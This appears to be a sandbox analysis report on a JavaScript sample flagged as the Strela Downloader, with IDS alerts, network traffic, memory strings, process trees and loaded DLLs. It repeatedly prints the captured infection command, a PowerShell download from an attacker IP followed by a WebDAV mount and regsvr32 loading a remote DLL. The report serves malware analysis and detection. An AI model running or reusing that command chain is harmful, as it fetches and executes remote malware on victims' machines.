Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49710 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2142645760.000002B32CF21000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2142840646.000002B32CF2B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2140179673.000002B32CF28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2209059615.000001ACB95A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2209059615.000001ACB95A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/F
Source: net.exe, 00000007.00000002.2209059615.000001ACB9578000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/z
Source: svchost.exe, 00000009.00000002.3437973353.000001E85BA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2210530179.000001E85B7F0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3908, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1882131031120212290.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5512:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m51ybksz.a0i.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1882131031120212290.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1704,i,9000697262872955212,6509342707065743431,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1704,i,9000697262872955212,6509342707065743431,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
